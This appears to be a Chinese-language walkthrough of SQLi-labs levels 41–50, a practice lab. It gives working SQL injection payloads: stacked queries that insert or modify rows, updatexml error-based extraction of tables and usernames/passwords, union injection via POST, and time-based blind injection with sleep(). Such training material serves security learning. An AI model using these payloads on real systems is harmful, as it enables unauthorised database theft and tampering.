Less-41
这一关还是用堆叠注入,这关数字型不需要闭合了。
用堆叠的话,我们就不爆信息了。我们直接用堆叠,往进去写一条数据
?id=-1 union select 1,2,3;insert into users (id,username,password) values(666,'zk','180')--+
看一下插进去了没
?id=-1 union select 1,(select group_concat(username, password) from users where id = 666),3 --+
好了。
Less-42
这一关变成以post传参,防止它对我们拼接的语句编码,所以我们就不在输入框中尝试了。
我们直接抓包,重放,发现输密码那里有回显。
这里介绍一种标准的sql语句的注释方法杠杠空格
'and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
接下来爆表
'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1) --
下面爆字段
'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --
下面爆数据
'and updatexml(1,concat(0x7e,(select group_concat(id,'~',username,'~',password)from users),0x7e),1) --
Less-43
这一关的注入点变了。这种关卡有很多方式都可以做
') and updatexml(1,concat(0x7e,(select database()),0x7e),1) --
这一关单引号括号闭合,下面参考上一关语句
Less-44
这一关post联合注入,注入点还是密码那里,单引号注释,井号闭合
爆库
1' union select 1,database(),3 #
下面语句参考以上
Less-45
跟上一关一样,但这一关是用单引号括号闭合的
爆库
1') union select 1,database(),3 #
下面不说了
Less-46
这一关参数变了,它提示我们用sort传参,试了发现是数字型的,直接构造语句爆库
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
下面还是老样子。
Less-47
这一关,还是报错注入,比上一关多了一个单引号闭合,换汤不换药。秒了
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
Less-48
这一关发现没有任何回显,我们考虑时间盲注
?sort=1 and sleep(1)
页面直接延时,说明他执行了我们的语句,数字型
直接构造语句判断数据库长度
?sort=1 and if(length(database())>8,sleep(1),1)
当大于7时页面延时,大于8时页面不延时,说明数据库长度是8
然后爆库,构造语句
?sort=1 and if(substr(database(),1,1)='a',sleep(10),1)
截取数据库第一位如果是a,则sleep(10)
但原理是这样的,我们总不可能从a试到z吧,况且数据库有8位。
所以直接抓包,设置
正确的会延时,这样就得到了数据库名。
接下来爆表
?sort=1 and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='a',sleep(3),1)
得出第4个表是users
接下来爆字段
?sort=1 and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='a',sleep(3),1)
得出users表中第二个字段是username
接下来,爆数据
?sort=1 and if(substr((select username from users limit 0,1),1,1)='D',sleep(3),1)
爆出第一个username字段是Dumb,你们还可以把密码都爆出来。
Less-49
这一关和上一关一样用时间盲注,闭合方式单引号。
判断数据库名长度
?sort=1' and if(length(database())>8,sleep(3),1) --+
发现7时页面延时,8不延时,说明数据库有8位。
接下来爆库
?sort=1' and if(substr(database(),1,1)='s',sleep(3),1) --+
下面参考上一关即可。
Less-50
这一关依旧是数字型堆叠注入,我们这回改它数据库的一条数据,看能否成功,语句如下
1;update users set username='ZZKK' where id=1
可以看到攻击成功了。